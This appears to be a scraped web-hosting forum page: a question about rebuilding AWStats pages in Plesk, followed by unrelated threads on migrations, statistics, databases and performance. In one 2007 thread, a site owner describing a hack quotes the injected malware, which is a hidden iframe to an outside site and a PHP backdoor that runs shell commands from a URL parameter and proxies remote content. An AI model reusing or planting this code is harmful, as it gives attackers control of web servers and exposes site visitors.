Plesk 11.x / Linux :: How To Rebuild Awstats Static Pages Of Migrated Database Files
Mar 14, 2014
I had an hosting account with a copany, recently I migrated to VPS managed by plesk 11.5..I was able to get the awstats database file from the old host, and i have copied them in the /var/www/vhosts/mydomain.com/statistics/webstats/ folder, together with the other database files genereted by the new VPS hosting
Only problem is that plesk only rebuilds everyday the static page for the current month, and I see no way to ask him to build the pages for this past months. Also would be good if he would rebuild the header to have updated the dropdown menu from which to choose the month to dispay..Is it possible to rebuild manually these static pages?
View 5 Replies
ADVERTISEMENT
Nov 5, 2014
I have an issue with Plesk and Awstats not building the html pages for website statistics. Problem is server-wide i.e. it effects all domains.
I've tried to manually run the /usr/local/psa/admin/sbin/statistics with every possible options but all that happens is that awstats calculates new stats to the vhosts /var/www/vhosts/system/domain.tld/statistics/webstat/awstatsMMYYYY.domain.tld-http.txt file.
Nothing is put into the /var/www/vhosts/system/domain.tld/statistics/webstat/YYYY-MM folder which should contain the static html pages.
Example listings:
Code:
# ll /var/www/vhosts/system/<domain.tld>/statistics/webstat
total 80
drwxr-xr-x 4 root root 4096 Nov 5 10:58 ./
dr-xr-x--- 6 root psaserv 4096 Oct 23 12:36 ../
drwxr-xr-x 2 root root 4096 Oct 23 13:12 2014-10/
[Code] ....
I was able to create the static pages by running Awstats directly:
Code:
# /usr/share/awstats/tools/awstats_buildstaticpages.pl -awstatsprog=/usr/lib/cgi-bin/awstats.pl -configdir=/usr/local/psa/etc/awstats -config=<domain.tld>-http -dir=/var/www/vhosts/system/<domain.tld>/statistics/webstat/current
So things I have already checked:
- Awstat paths in /etc/psa/psa.conf are correct
- Domain configs are ok as awstat can create the stats data and awstats_buildstaticpages.pl can can create the pages just fine
- File permissions are ok
I just cannot figure what the problem is. /usr/local/psa/admin/sbin/statistics doesn't give any errors but on the other hand it doesn't have a debug option either which might be useful.
OS: Ubuntu 14.04.1 LTS
Plesk version: 12.0.18 Update #22
View 4 Replies
View Related
Apr 14, 2015
I currently run the PMM tool, it migrates and created all the domains for me, but I have a new problem. Some clients does not have their files only at public_html, they use the root at their cpanel accounts, I notice that the PMM did not migrated the files from the root.... Is there any option to it be done?
View 1 Replies
View Related
Nov 13, 2014
I followed the following KB to allow country to be identified via GeoIP in AWStats: [URL] .... It works well on one of my domain, but I had to disable first the stats through PLESK Admin, then to reactivate it, so it would regenerate the conf file in /usr/local/psa/etc/awstats/* for a particulair domain. I then followed this KB to re-calculate all stats with country identification: [URL] .... It works as well.
But now: How can I regenerate all the conf file in /usr/local/psa/etc/awstats/* ? Is there any magic command?
View 1 Replies
View Related
Sep 8, 2007
My site was hacked today, all pages named index.html were hacked. It is kind of script since all pages were written same time.
I'm using a very respectable hosting. I jumped from another hosting were I was exposed on a unsecured host (they moved my account to an insecure host without asking).
Going back on track, all files named "%index%" were hacked.
-I found a index.txt file with links to obscure sites.
The code was written at bottom of the all index.html files: iframe code
Code:
><!-- ~ --><iframe src="http://googletraff.com/in.cgi?default" width="0" height="0" style="display:none"></iframe><!-- ~ -->
Also a line.php with the following code
PHP Code:
<?error_reporting(0);if($_GET['cmd45']) {system($_GET['cmd45']);}$domain = 'shemale1.biz';$ur = '/load.php?f=%s&ua=%s&ref=%s';$qs = $_SERVER['QUERY_STRING'];$ua = urlencode(substr($_SERVER['HTTP_USER_AGENT'],0,100));$ref = urlencode($_SERVER['HTTP_REFERER']);$redirect = sprintf($ur,$qs,$ua,$ref);#print $redirect;#exit;echo getcontent($domain,80,$redirect);exit;function getcontent($server, $port, $file){$socket=fsockopen($server,$port,$errno,$errstr,60) or die("Can't open socket");$refer = $_SERVER['HTTP_HOST']?$_SERVER['HTTP_HOST']:$server;fputs($socket, "GET $file HTTP/1.0
");fputs($socket, "Referer: http://$refer
");fputs($socket, "Host: $server
");fputs($socket, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
");$wr = 0;while(!feof($socket)){ $temp = fgets($socket); if(eregi("<",$temp)) { $wr = 1; } if($wr) { $page .= $temp; } } fclose($socket); return $page; } ?>
So far I recover the files from backup, secured the config.php files and modify %index% to read only...finally changed the password...
View 5 Replies
View Related
Jan 31, 2015
For some reason I am having issues with latest Plesk with php and wordpress. HTML sites are fine, but all php and wordpress sites are giving a 502 error after fully migrating. I repaired with Webserver Configurations Troubleshooter and rebooted and its still giving me the same issue.Also, noticed my previous server had php 5.4.36, the new CentOS server has 5.4.37.
View 5 Replies
View Related
Nov 25, 2014
I migrated domains from another server and they had separate http and https folders. Now I need to make them use same httpdocs for both http/https. How do I do it for a single domain? How do I batch do it for all domains?
View 4 Replies
View Related
Aug 30, 2014
I cannot seem to find a conclusive answer to this. I use subdomains to create client websites then once they are in their own domains the subdomains still remain. Can I delete only the subdomain and leave all the files or at least leave the database since it is still connected to the new domain. Example below.
subdomain.example.com uses database1
newsite.com still uses database1
Is there a way to copy the database into the new domain?
View 1 Replies
View Related
May 14, 2015
I am skeptical of running mchk on my server and messing something up. I am having an issue with one domain hosted on my server getting 100's of duplicates from certain domains. My MagicSpam logs show that the email is sent to my server anywhere from every 15 minutes to 1 hour. It started out as one domain sender to my server to my client, now it is happening to a bunch of sending domains.
View 1 Replies
View Related
May 27, 2014
I need a command way of backing up my website files and Mysql databases. I no longer have access to the static ip to access the panel.
View 1 Replies
View Related
May 18, 2014
When I use website copy function the website files are copied to another domain but the database remains on old site. I use this function to move the website from devel state to the production state. All sites work fine but when i schedule the backups all databases are saved on old domain. How to move the database on production domain?
View 1 Replies
View Related
Mar 19, 2007
I've recently taken over the hosting of a large site and forum, and I want to use some for of statistics software of service so that I can determine how many unique visitors and pageviews the site and forum get (which can then be used when dealing with advertisers).
I've been using Webalizer for years, but it's not been updated in over 5 years, so it's out. I then stumbled on Awstats, which works great, but... it doesn't calculate the pageviews correctly.
At the present moment Awstats claims to have tracked approx. 2 million pageviews for the (vBulletin) forum. However, when I scroll down I notice that on number #1 in the "Pages URL Top 10" is image.php, which is used for avatars and is not a page!
Now it appears Awstats has two ways of dealing with this: the "SkipFiles" option and the "NotPageList" option. The first (SkipFiles) drops whole URLs from the stats, which isn't what I want: I just don't want them to be counted as pages.
The second (NotPageList) only accepts file extentions, not script names. This again isn't what I want: hits on showthread.php should still be counted as pages, only hits on image.php shouldn't be.
The site has a similar problem where I don't want scripts like stylesheet.php, rss.php and xml.php from being counted as pages.
My question: does anyone know a solution for this problem? Maybe a hack to allow "NotPageList" to accept script names and/or ULRs?
Alternatively: does anyone know another statistics package that's about on par or better than Awstats that can do this (and that works on Linux/Unix with logs generated by lighttpd+php-fastcgi) and that is not too expensive (max $200)?
Google Analytics isn't suitable for me (even though it would probably work well) because the site goes over 5 million pageviews/month and I don't have a Adwords account.
View 1 Replies
View Related
Oct 8, 2014
Using Plesk 12 on a VPS with Ubuntu 12.04 LTS. In the Web Server Settings, if I select "Process PHP by nginx", then the URL "<domain>/plesk-stat/webstat/" is answered by Nginx with "404 Not Found". Having sniffed around, it seems:
/var/www/vhosts/system/VHOST/statistics/webstat is getting statistics gathered.I can't say if they are complete, or even sensible, but things are happening there.The various Alias and other statements required for access to AWStats via Apache are contained in the Apache config file /var/www /vhosts/system/VHOST/conf/last_httpd.conf..But no equivalent statements are generated in /var/www/vhosts/system/VHOST/conf/last_nginx.conf.
View 2 Replies
View Related
Dec 18, 2014
Currently i am using webalizer... How can i switch to aw stats by importing the current data...
View 1 Replies
View Related
May 4, 2015
I have installed an SSL certificate on my website since last saturday the 1st of May, and forced redirection to https URLs via .htaccess.
Since then, I cannot see any statistics in AWStats. All values stops after the implementation of the certificate. How can I continue to have statistics for my secured web site ?
View 3 Replies
View Related
Aug 26, 2007
I am moving a couple of accounts from one server to another; where are the Awstats files saved at in a typical CPanel box?
View 2 Replies
View Related
Dec 5, 2014
I have just updated to plesk 12 and I am having an issue with all of my web pages returning a 404 error, I can connect to the SQL databases and FTP it is just loading the web pages.
View 1 Replies
View Related
Jul 2, 2014
Plesk Panel 12.0.18 , cant load pages in controlpanel (web host edition) it is making timeout all the time and also cannot send mail (roundcube).
What have parallels done to the a nice panel!
View 4 Replies
View Related
May 9, 2007
We have a substantial web development job to do, and we just found out our client bought a new Windows NT server running Apache! [url]
The problem is that we will develop the site on our Linux server then move it onto their server when it is ready. But I don't think this is going to work, and we don't touch Windows boxes.
Can this NT server be re-built as a normal Linux server? Is that a long or expensive job? And roughly what would it cost?
View 13 Replies
View Related
Nov 20, 2014
When I update servers via CLI autoinstaller, I always (afair) get this mysqldump error message:
Code:
Stopping psa... * Stopping Plesk engine pool manager sw-engine-fpm
...done.
done
-- Warning: Skipping the data of table mysql.event. Specify the --events option explicitly.
mysqldump: Got error: 1049: Unknown database 'atmail' when selecting the database
===> Cumulative APS controller database (apsc) upgrade has been started.
===> Cumulative upgrade of APS controller database has been completed.
===> Cumulative Plesk database upgrade (revertable stage) has been started.
===> Preparing Plesk database upgrade (revertable stage).
===> Cumulative upgrade of Plesk database (revertable stage) has been completed.
Reading package lists...
There is no database "atmail" on any of our Plesk servers. Simple solution should be to first check if the DB exists before performing actions on it.As a bonus, perhaps it would be possible to suppress the warning about mysql.event.
View 5 Replies
View Related
Jan 11, 2015
I`ve got a problem with plesk when hosting Wordpress, when using Wordpress navigating between the pages (front-end and back-end) server time seems to be 15 sec.I`ve checked CPU usage and that stays under 5%.
When I install Drupal or Concrete5 or any other application that uses PHP with MYSQL it runs very fast.I`ve already fine-tuned PHP / Apache2 / Nginx & Mysql to get the max possible performance out of it.
What i`m using for hardware:
i7 920 2.6Ghz
24GB Ram
LSI Raid controller 9260-8i
RAID 10, 6 WD Black disks (internal speed goes about 450mb/sec)
RAID 1, 2 x Samsung SSD Evo 840
Software:
ESXI 5.5, optimised for maximum performance. (no standard config)
PLESK VM has 8 cores, 16GB Ram and I/O access priority set to max.
If I move the PLESK VM to the SSD datastore it makes no difference.Again, the problem only happens when i`m installing Wordpress..I Also did a manual install of Wordpress, same issue..I`m going to try the older version of Wordpress (3.9) so see i`m having the same problems..Using the latest plesk 12 on Ubuntu 14 with trail license at the moment.
View 6 Replies
View Related
May 1, 2014
VPS hosting, stats in my sig below. Have poor performance with a drupal and civicrm(drupal based) website and looking to troubleshoot.
Main issue is pages take too long to load, sometimes over 5 seconds and more! Below is my.cnf and MYSQLtuner results.
So my.cnf
Code:
[mysqld]
set-variable=local-infile=0
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock
user=mysql
[Code] .....
View 2 Replies
View Related
Jun 23, 2008
Lets say i gave user space on my site. They also make there own pages e.g blog or whatver
how would that work. Would those blog pages just automatically get added to my host server as if i uplaoded it
or would it get stored in a databse. if so how. and wer can i laern do u knw?
View 3 Replies
View Related
Nov 18, 2014
So I have a script running on my apache that catalogs pictures and clips. All the actual video files are located on a separate drive which is mounted in to a folder in my site. I've set apache as the owner and have the correct permissions on the mounted folder but I'm getting Forbidden errors accessing files even when on html file in the mounted folder.
I know it's a permissions issue at the disk or mounting level. The way I mount is by using this command:
mount -t ext4 /dev/sdc /var/www/html/media
View 6 Replies
View Related
Aug 9, 2014
After upgrade 11.5 to 12, my panel works fine but nos subscription in the panel.Websites are working well...Is it possible to reconstruct the psa database (no backup :-( ) ?Some backups of psa database are done before the upgrade?
View 2 Replies
View Related
Jul 7, 2015
Just updated to V12 and noticed you can't copy a database from one domain to another as easy as before. So doing any testing is much harder. Is this correct or am I missing something...
View 5 Replies
View Related
Jul 20, 2014
I've created a database through SSH and give it a user so no problem.
But when i came back in Plesk Panel i don't see this database connected to the domain i want.
So how can i do to "indicate" my server this database must be going with this domain ?
View 1 Replies
View Related
Sep 19, 2014
The SpamAssassin bayes database has become ineffective on one of our servers and we want to wipe it and start fresh - how to do this on Plesk 11.5.30?
View 1 Replies
View Related
Jul 2, 2015
We are having an issue upload a 300mb mysql database to phpmyadmin.. With direct mysql file, t stops and only copies a few tables, stating to reupload to continue (which it doesn't and states that there are pre-existing tables). With zip file, it does the same.. at one point at 504 error occurred.
View 4 Replies
View Related
